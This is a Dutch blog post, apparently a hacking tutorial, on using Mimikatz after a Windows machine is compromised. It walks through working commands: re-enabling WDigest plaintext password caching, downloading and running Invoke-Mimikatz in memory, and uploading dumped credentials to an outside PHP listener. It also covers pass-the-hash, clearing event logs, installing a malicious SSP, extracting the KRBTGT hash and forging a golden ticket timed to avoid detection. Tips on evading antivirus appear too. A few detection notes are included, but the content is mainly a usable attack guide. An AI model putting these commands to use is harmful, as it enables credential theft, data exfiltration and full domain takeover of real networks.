Mimikatz
Wie weleens getracht heeft om Windows wachtwoorden te “achterhalen” zal vast weleens van “Mimikatz” gehoord hebben? Mimikatz is een fantastische tool bedoeld voor post-exploitation doeleinden. In deze post gaan we kijken naar de Mimikatz tool en wat we met deze tool kunnen doen. Lezen jullie mee?
Mimikatz is geschreven door Benjamin Delpy van “gentilkiwi”. Mimikatz wordt gebruikt om na exploitatie een stevigere “foothold” te krijgen op de computer of het netwerk. Hackers hebben hiervoor een breed scala aan hulpmiddelen. Mimikatz bundeld een groot gedeelte van deze hulpmiddelen en kan een reeks aan nuttige taken uitvoeren.
Mimikatz zit vaak gebundeld in andere applicaties zoals b.v. in Metasploit. Mimikatz is echter ook stand-alone te draaien. Momenteel is versie 2 uit van Mimikatz. Aangezien de commando’s om Mimikatz aan te sturen nogal anders zijn tussen versie 1 en versie 2 is het goed om te weten dat ik mezelf in deze post richt op versie 2.
Feitje: Mimikatz staat voor “Cute Cats” (Mimi is Frans voor het Engelse woord “Cute”).
Mimikatz is een post-exploitation tool omdat het systeem waar Mimikatz op draait al “overgenomen” moet zijn. Mimikatz benaderd namelijk het geheugen van de computer. Mimikatz doet zijn werk door verschillende mechanismes en protocollen te exploiten. Mimikatz is begonnen met het exploiteren van het WDigest protocol welke plain-text wachtwoorden in LSASS opslaat en doorstuurt naar HTTP en SASL (Simple Authentication Security Layer) applicaties. Wanneer een gebruiker inlogt slaat Windows deze informatie in plain-tekst op om later weer te gebruiken. Mimikatz is gemaakt om deze informatie weer uit het Windows geheugen te halen.
V.a. Windows 8.1 is het mogelijk om deze functie uit te schakelen en bij Windows 10 staat deze feature standaard uit. Uiteraard kun je deze feature weer inschakelen via het register (en dus ook op alle systemen via GPO). Om deze feature te activeren moet er een key aangemaakt en ingesteld worden. Dit werkt als volgt:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 |
Tegenwoordig is Mimikatz een bundel van Windows authentication tools. Als een gebruiker zich aanmeldt bij een computer worden er verschillende authenticatiereferenties gegenereerd en opgeslagen in de LSST-service van het subsysteem voor lokale beveiligingsautoriteit in het geheugen. Dit is o.a. bedoeld om single sign-on (SSO) te vergemakkelijken. De authenticatiegegevens kunnen bestaan uit o.a. Kerberos-tickets, NTLM-wachtwoordhashes, LM-wachtwoord hashes en zelfs clear-tekst wachtwoorden (ter ondersteuning van WDigest- en SSP-authenticatie zoals hierboven omschreven). Mimikatz heeft verschillende tools aan boord om deze authenticatiegegevens te bemachtigen. Welke authenticatiegegevens werkelijk in het geheugen opgeslagen worden is afhankelijk van je Windows versie en patchlevel. Benjamin Delpy heeft een tijdje terug een Excel bestand gedeeld in zijn Onedrive waarop te zien is welke data exact aanwezig is bij out-of-the-box Windows installaties. Hierbij een screenshot:
Ondanks dat de nieuwere versies van Windows minder data in het geheugen bewaren blijft Mimikatz een prachtige tool voor het achterhalen van wachtwoorden en hashes welke tot op de dag van vandaag zeer effectief is.
Mimikatz Installeren
Mimikatz is een tool welke door de meeste virusscanners meteen aangemerkt wordt als malicious. Een workaround is het compilen van je eigen Mimikatz versie met Visual Studio (de source code is beschikbaar op GitHub) of het “in memory” draaien van Mimikatz. Mimikatz kan ook stand-alone gedraaid worden wat meestal voor test doeleinden gebeurt.
Laten we terugkomen op een veelgebruikte methode, namelijk het “in-memory” draaien van Mimikatz. Een veelgebruikte methode hiervoor is door gebruik te maken van het “Invoke-Mimikatz” Powershell script welke beschikbaar is in het PowerSploit framework (beschikbaar in de PowerShellMafia GitHub repository). Invoke-Mimikatz maakt het mogelijk om de Mimikatz DLL in het geheugen te laden. De code kan gedownload worden v.a. het internet (of andere interne resource) en de bestanden worden ingeladen in het geheugen waardoor er dus nooit sporen op de disk terug te vinden zijn. Invoke-Mimikatz geeft je toegang tot de meeste (maar niet alle) Mimikatz commando’s. Als het Invoke-Mimikatz script met voldoende rechten uitgevoerd wordt en als “Powershell Remoting” ingeschakeld is dan kan Invoke-Mimikatz ook credentials van andere systemen achterhalen.
Het gebruik van (Invoke-)Mimikatz kan op verschillende manieren ontdekt worden zoals het draaien van up-to-date antivirus software, processen monitoren die LSASS in de gaten houden, gebruik maken van HoneyTokens, WDigest registerkeys controleren, Kerberos Tickets die pas na 10 jaar verlopen in de gaten houden en het in de gaten houden van je event log (v.a. Windows 10), PowerShell Module Logging inschakelen.
Invoke-Mimikatz is echter moeilijker op te merken dan het gebruik van een on-disk Mimikatz instance. Laten we dus het Invoke-Mimikatz script aanroepen en uitvoeren. Allereerst moet een een CMD (command prompt) instance geopend worden als Administrator, bijvoorbeeld door het volgende commando uit te voeren;
powershell Start-Process cmd -Verb runAs |
We kunnen nu het Invoke-Mimikatz script uitvoeren met het volgende commando:
powershell "IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" |
IEX staat voor Powershell’s “Invoke Expression” directive en zorgt ervoor dat alles achter elkaar uitgevoerd wordt in plaats van het terug te echoën naar de command prompt. Vervolgens maken we met “New-Object Net.Webclient” een nieuwe instance aan de Microsoft .NET Webclient waarmee we gegevens kunnen verzenden en ontvangen. Daarna downloaden we het Invoke-Mimikatz script welke meteen uitgevoerd wordt met het “-DumpCreds” commando wat feitelijk hetzelfde doet als “sekurlsa::logonpasswords” module in Mimikatz.
We kunnen dit commando ook als volgt uitbreiden:
powershell "IEX (New-Object Net.WebClient).DownloadString(' https://goo.gl/5BBtua'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://uploadserver.nl/ivmk-loot.php', $output)" |
In bovenstaande voorbeeld hebben we de download URL verkort met een URL shortner. Vervolgens hebben we gezegd om alle output van Mimikatz op te slaan in de variabele $output welke zich in het geheugen bevind. Tenslotte uploaden we de content van de $output variabele naar een PHP listener welke de ontvangen data opslaat.
Mimikatz kan ook via de Metasploit Meterpreter gelaten worden met het commando:
load mimikatz |
Mimikatz Commando’s
Zoals je hierboven zag voeren we Mimikatz uit met de “-DumpCreds” flag welke alle credentials uit het LSASS proces haalt. Dit is een voorbeeld van een direct command welke Mimicatz (of het invoke-mimikatz) uitvoerd, vervolgens het commando uitvoert en Mimikatz afsluit.
Nog een voorbeeld van een lokale Mimikatz installatie is met een direct command op Linux is:
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit |
Het “exit” commando is belangrijk om Mimikatz netjes af te sluiten. Mimikatz heeft ook een interactive mode welke je toegang geeft tot de Mimikatz console alwaar je de commando’s kunt uitvoeren. De interactieve console sluit je ook weer af met het “exit” commando. Invoke-Mimikatz heeft geen interactive mode. Om Mimikatz in “interactive mode” te starten voer je simpelweg het volgende commando uit (op Linux):
.\mimikatz |
Windows:
mimikatz.exe |
Mimikatz moet altijd uitgevoerd worden met SYSTEM of Administrator privileges. Als dit het geval is kun je binnen Mimikatz verschillende privileges aanroepen voor het uitvoeren van verschillende taken. Dit doe je met het “privilege::” commando. Om processen te debuggen is de “debug” privilege nodig. Dit stellen we als volgt in:
privilege::debug |
Om wachtwoorden, sleutels, pin codes of tickets uit het LSASS geheugen te halen maakt Mimikatz gebruik van de “sekurlsa” module. We roepen dus de sekurlsa modulle aan en vragen om de login wachtwoorden uit het geheugen te halen:
sekurlsa::logonpasswords |
Voordat we bovenstaande uitvoeren kan het handig zijn om de output weg te schrijven naar een log. Hiervoor kunnen we een log aanmaken welke automatisch een logbestand creëert waar alle output in weggeschreven wordt.
log securlsa.log |
Naast de “sekurlsa” en “privilege” module beschikt Mimikatz over vele modules zoals:
- Busylight – Deze module detecteert en geeft informatie van gedetecteerde Busylights. Dit is een apparaatje welke de aanwezigheid van Mimikatz op kan sporen
- Crypto – Werkt met de Windows cryptografie functies zodat b.v. certificaten die aangemerkt als “niet exporteerbaar” toch geëxporteerd kunnen worden.
- DPAPI – Geeft de mogelijkheid om credentials te exfiltreren uit DPAPI
- EVENT – Maak de eventlog schoon of zorg ervoor dat er geen nieuwe events weggeschreven worden.
- IIS – IIS XML configuratie module
- KERBEROS – Deze module communiceert met de Microsoft Kerberos API en word gebruikt om Kerberos tickets te bekijken en aan te maken incl. zogenaamde Golden Tickets en Silver Tickets.
- LSADump – Deze module communiceert met de Windows Local Security Authority om hier credentials uit te halen.
- MISC – Deze module huisvest een verzameling van commando’s die niet thuishoren binnen de andere modules zoals AddSID om SID historie aan een gebruiker toe te voegen of Compressme om Mimicats in te pakken naar een alternatief bestand. Er zijn een kleine 20 commando’s beschikbaar onder de MISC module.
- Minesweepter – Ontdek waar de mijnen liggen in de oude Windows game Minesweeper. 🙂
- NET – Deze module geeft informatie over het netwerk zoals gebruikers, sessies en groepen.
- Privilege – Het toekennen van verschillende privileges zoals debug en backup aan de Mimikatz sessie
- Process – Deze module geeft inzicht in de processen en kan deze bewerken zoals starten en stoppen.
- RPC – De RPC module maakt remote control tot de Mimikatz instance mogelijk.
- Securlsa – Deze module geeft mimikatz toegang tot het beveiligde geheugen en kan hier authenticatiegegevens uit halen.
- Service – De service module geeft inzicht in de services en geeft de mogelijkheid om deze te bewerken zoals het starten, stoppen, en verwijderen van de services.
- SID – Deze module is de vervanger voor de MISC::AddSID module en maakt het mogelijk om een SID aan de SIDHistory toe te voegen of om de SIDHistory van een object te verwijderen en bekijken.
- Standard – Dit is de default Mimikatz module en geeft toegang tot algemene informatie zoals het LOG commando en het EXIT commando. Er is ook een Base64 commando waarmee de output meteen omgezet kan worden naar Base64.
- SYSENV – Maakt het mogelijk om environment variabelen van het systeem te beheren.
- Token – Maakt het mogelijk om de communiceren met de Windows authentication tokens. Zo kun je tokens onderscheppen en namaken.
- TS – Maakt alle RDP sessies inzichtelijk en kan de TS patchen om meerdere gebruikers toe te staan.
- Vault – Laat alle credentials in de kluis (Microsoft Vault) zien.
Nu we weten welke soort modules we kunnen aanroepen worden het gebruik en de mogelijkheden van Mimikatz ook meteen een stuk duidelijker.
Een PtH (Pass the Hash) attack waarbij we ons direct authentiseren via een bemachtigde NTLM hash. Stel voor dat we de hash hebben bemachtigd van de local administrator dan werkt de Mimikatz PtH attack als volgt:
sekurlsa::pth /user:Administrator /domain:localhost /ntlm:%DE-HASH% |
Het bekijken van alle gevonden Busylights is nog simpeler:
BUSYLIGHT::list |
De eventlog opschonen werkt als volgt:
EVENT::clear |
Het verkrijgen van de SysKey om SAM gegevens te bekijken en om de systeem accounts en NTLM hashes te exporteren die hierin aanwezig zijn gebruik je:
LSADUMP::sam |
Let op, voor bovenstaande heb je wel het debug privilege nodig alsmede het “TOKEN::elevate” recht.
Ook kan bijvoorbeeld LSASS gepatched worden door Mimikatz om lokaal geauthentiseerde gegevens te loggen. Dit doet Mimikatz door de SSP te vervangen voor een malicious SSP. Dit gaat als volgt:
MISC::memssp |
Een procses starten zoals bijvoorbeeld het “RUN” commando waarna je via RUN een applicatie start werkt als volgt:
PROCESS::run mspaint.exe |
Het bekijken van alle beschikbare Kerberos tickets voor alle recentelijk geverifieerde gebruikers, inclusief services die worden uitgevoerd onder de context van een gebruikersaccount en het AD-computeraccount van de lokale computer werkt als volgt:
SEKURLSA::tickets |
Bovenstaande commando’s zijn de interactive commando’s. Om deze als direct commando’s uit te voeren gebruik je bijvoorbeeld:
./mimikatz “privilege::debug” “misc::memssp” exit |
Wat je doet is het aanroepen van Mimikatz en vervolgens voer je de commando’s uit tussen quotes en eindig je met een “exit” commando.
De commando’s in Mimikatz zijn niet hoofdletter gevoelig. Je kunt deze dus zowel in hoofdletters als in kleine letters uitvoeren.
Kerberos Golden Tickets met Mimikatz
We hebben nog een groot scala mogelijkheden niet besproken zoals het creëren van een Kerberos Golden Ticket waarmee we elke AD user alle rechten toe kunnen kennen die we willen waarmee we dus detecteerbaar toegang kunnen krijgen tot elk AD verbonden systeem. Dit gaan we nu doen
De AD Controller is verantwoordelijk voor het afhandelen van Kerberos authenticatie tickets. Het AD KRBTGT account wordt gebruikt om alle Kerberos tickets te versleutelen en te ondertekenen. Omdat dit account altijd hetzelfde heet en zijn wachtwoord nooit veranderd (welke gebruikt wordt om dee tickets de ontsleutelen) is het KRBTGT account een doelwit voor hackers.
Met Mimikatz is het mogelijk om de wachtwoordinformatie van de KRBTGT-account te gebruiken om vervalste Kerberos-tickets (TGT’s) te maken die kunnen worden gebruikt om TGS-tickets aan te vragen voor elke service op elke computer in het domein. Om de Golden Tickets te maken hebben we 2 zaken nodig, namelijk de KRBTGT wachtwoord hash. Deze hash kunnen we alleen verkrijgen als we al elevated rechten hebben op een domain controller. En we hebben de Domeinnaam en SSID nodig. Het moeilijkste is dus om privileged toegang tot de DC te krijgen. Als dit gelukt is gebruik je Mimikatz met de volgende 2 commando’s om de KRBTGT wachtwoord hash te achterhalen:
privilege::debug |
lsadump::lsa /inject /name:krbtgt |
De output van het laatste commando retourneert de domain SID informatie en de KRBTGT password hash. Met deze informatie kunnen we de golden tickets maken. Deze kunnen we maken voor zowel bestaande als niet-bestaande accounts. Voor het aanmaken van een ticket kunnen diverse waardes meegegeven worden. Denk hierbij aan:
- User – De gebruiker waarvoor het ticket gemaakt wordt (bestaand of nep).
- ID – de RID van het account welke je “misbruikt”. Ook hier kun je een echte RID gebruiken zoals b.v. RID 500 voor de administrator, of je gebruikt een nep RID.
- Groups – De lijst met groepen waar het gebruikte account toe behoord. Default wordt de “Domain Admins (512)” groep al toegevoegd en dus wordt het ticket gemaakt met de maximale rechten. Ook worden de groepen 513 (domain users), 518 (schema admins), 519 (enterprise admins) en 520 (group policy creator owners) toegevoegd.
- SIDs – Deze optie voegt een SID toe aan het SIDHistory attribuut van het gebruikte account. Deze optie is ideaal voor authenticatie over verschillende domeinen.
- Domain – Het domein waarvoor de golden ticket aangemaakt wordt (FQDN).
- KRBTGT – De NTLM hash.
- Ticket – Met dit commando kan een pad en naam opgegeven worden om de golden ticket te bewaren en later weer te gebruiken.
- StartOffset – Dit is de startoffset wanneer het ticket beschikbaar is (over het algemeen ingesteld op -10 of 0 als deze optie wordt gebruikt). Mimikatz Standaardwaarde is 0, ofwel meteen.
- EndIn – De levensduur van de ticket. Mimikatz default is 10 jaar (~5,262,480 minuten). De default van AD zelf is slechts 10 uur (600 minuten).
- RenewMax – De maximale ticket lifetime incl. renewal. Mimikatz default is 10 jaar (~5,262,480 minuten). De default van AD zelf is slechts 7 dagen (10080 minuten).
Het aanmaken van de golden ticket kan met het volgende commando:
kerberos::golden /domain:jarnoadmin.local /sid:S-1-5-21-2490183204-5248726710-4067235172 /krbtgt:32c13563822ad71a34ca0faa633621c /user:IkBenSlimmer /id:500 /startoffset:0 /endin:600 /renewmax:10080 /ptt |
De opgegeven SID is de SID van het domein. De KRBTGT flag is de NTLM hash en de toevoeging van de /ptt (pass the ticket) optie om de golden ticket te injecteren in de huidige sessie. We zorgen ervoor dat het ticket niet meteen opvalt door hem een geldigheid van 10 uur te geven (AD default) met een uitbreidbare geldigheid (als we meer tijd nodig hebben) naar 7 dagen (ook AD default). In de meeste scenario’s heb je niet meer tijd nodig. Voor persistent (10 jaar) toegang is het weglaten van deze opties afdoende.
Golden tickets hebben default een levensduur van 10 jaar. Dit betekend dat de toegang zelfs actief blijft ook al verandert men het wachtwoord van de gebruikersaccount. De enige manier om het golden ticket inactief te maken is door het wachtwoord te veranderen van het KRBTGT user account.
Als de golden ticket aangemaakt is kan deze ook een mogelijk probleem worden. Toegang tot de ticket moet goed beveiligd worden zodat andere er geen gebruik van kunnen maken waardoor je de toegang weer kunt verliezen.
Laten we nu eens een commando uitvoeren met ons nieuwe “golden ticket”. We kunnen dit al meteen doen doordat we met de /ptt flag het ticket geïnjecteerd hebben in de huidige sessie. Laten we eens een commando prompt openen met administrator rechten:
misc::cmd |
Als je zou kijken (whoami) wordt de prompt uitgevoerd met de huidige gebruiker. Omdat de golden ticket echter in het geheugen geladen is kan ik met administrator rechten alle nodes op het domein benaderen. Zo kunnen we b.v. gemakkelijk de shares van de domaincontroller benaderen:
pushd \\s01-dc\c$ |
Bescherming tegen golden tickets is lastig. Event logs loggen namelijk de geldigheidsdatum niet en dus is speciale logging software nodig om golden tickets op te sporen. Je kunt periodiek het KRBTGT wachtwoord resetten maar dat kan andere ongewenste effecten met zich meebrengen. Zorg er in ieder geval voor dat je zo min mogelijk administrators op het domein hebt en dat de default admin accounts uitgeschakeld zijn. Op die manier voorkom je dat de welbekende RID 500 niet misbruikt kan worden.
Naast golden tickets kunnen er ook silver tickets aangemaakt worden welke aangemaakt kunnen worden door het misbruiken van serviceaccounts (geïdentificeerd door SPN-toewijzing). We hebben hier ook de NTLM-wachtwoordhash nodig om de tickets te coderen en te ondertekenen. Silver tickets zijn default lid van de “well-known administrators group” (519) en hebben dus minder rechten dan een golden ticket maar vereisen geen toegang tot de AD. We moeten voor een silver ticket de wachtwoord hash achterhalen van het AD computeraccount door b.v. onderstaande commando te draaien:
mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit |
Daarnaast kan er ook een zogenaamde trust ticket gemaakt worden welke feitelijk een cross-domain golden ticket is waarmee volledige admin rechten kunnen worden verkregen vanuit een child-domain naar een parent-domain.
Conclusie
Zoals je ziet is Mimikatz een unieke en extreem krachtige tool om wachtwoorden te achterhalen uit het geheugen wat uitermate goed werkt tot Windows 7 distributies. Voor latere distributies moeten meer handelingen verricht worden maar is het ontfutselen van wachtwoorden nog steeds mogelijk. Daarnaast is Mimikatz fantastisch voor het toepassen van privilege escalation. Combineer dat met alle overige Mimikatz opties en je hebt een gouden tool in je toolkit!